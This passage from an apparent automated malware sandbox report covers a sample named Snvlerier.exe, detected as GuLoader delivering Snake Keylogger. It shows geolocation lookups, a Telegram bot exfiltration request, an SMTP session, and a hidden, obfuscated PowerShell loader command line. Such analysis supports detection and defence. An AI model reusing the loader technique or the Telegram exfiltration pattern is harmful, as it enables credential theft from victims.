2024-10-14 07:12:20 UTC	716	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 07:12:20 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 24016 Last-Modified: Mon, 14 Oct 2024 00:32:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mpBBecnX%2BE8UQINfzn6oP2XWlC%2B3sjVSuu6qrKPsMNAbC%2FQv0gNdA6U3Lp2tLPx%2BuKsv%2BdWE5O%2FK7Oy8WgJKKuqXOymsdgCaKXB7Tf4bVbgav%2FCKB30%2FI8ZIVCq7n1Oufy7fPsYj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d25c2ae1dfb4273-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 07:12:20 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-14 07:12:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49821	188.114.96.3	443	7824	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 07:12:21 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-14 07:12:21 UTC	710	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 07:12:21 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 24017 Last-Modified: Mon, 14 Oct 2024 00:32:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ziOG%2Fjr6Z7cPLaMXOBXa%2B%2BEJ2pNWL4GH69OpV2dwIp2aWXAmemPgDGQlFAiE1kJvAmS6bT3Sh4HoGqzNYSJl1eS13YDyzXn67ZieG4KpGm%2F5IpLbi3Wh1SpTx%2FAzliAM113K7QOM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d25c2b51899427c-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 07:12:21 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-14 07:12:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49827	149.154.167.220	443	7824	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 07:12:22 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:179605%0D%0ADate%20and%20Time:%2014/10/2024%20/%2014:08:15%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20179605%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-14 07:12:22 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 14 Oct 2024 07:12:22 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-14 07:12:22 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 14, 2024 09:12:29.837857962 CEST	587	49873	213.165.67.118	192.168.2.4	220 kundenserver.de (mreue106) Nemesis ESMTP Service ready
Oct 14, 2024 09:12:29.838051081 CEST	49873	587	192.168.2.4	213.165.67.118	EHLO 179605
Oct 14, 2024 09:12:30.060738087 CEST	587	49873	213.165.67.118	192.168.2.4	250-kundenserver.de Hello 179605 [8.46.123.33] 250-8BITMIME 250-SIZE 141557760 250 STARTTLS
Oct 14, 2024 09:12:30.060990095 CEST	49873	587	192.168.2.4	213.165.67.118	STARTTLS
Oct 14, 2024 09:12:30.289165020 CEST	49873	587	192.168.2.4	213.165.67.118	STARTTLS
Oct 14, 2024 09:12:30.386837006 CEST	587	49873	213.165.67.118	192.168.2.4	250-kundenserver.de Hello 179605 [8.46.123.33] 250-8BITMIME 250-SIZE 141557760 250 STARTTLS
Oct 14, 2024 09:12:30.580526114 CEST	587	49873	213.165.67.118	192.168.2.4	220 OK

Target ID:	0
Start time:	03:11:22
Start date:	14/10/2024
Path:	C:\Users\user\Desktop\Snvlerier.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Snvlerier.exe"
Imagebase:	0x400000
File size:	1'261'140 bytes
MD5 hash:	9970463EDF086976996F0BC196FCFC60
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	03:11:22
Start date:	14/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" -windowstyle hidden "$Dictyoceratine=Get-Content -raw 'C:\Users\user\AppData\Local\Temp\carinal\Coracosteon\Eftermles.Tra';$Ciceronian=$Dictyoceratine.SubString(53398,3);.$Ciceronian($Dictyoceratine)"
Imagebase:	0xc70000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000001.00000002.2199226437.00000000093E6000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	03:11:22
Start date:	14/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	03:12:01
Start date:	14/10/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\msiexec.exe"
Imagebase:	0x420000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000006.00000002.3066949084.0000000021501000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.3066949084.0000000021608000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false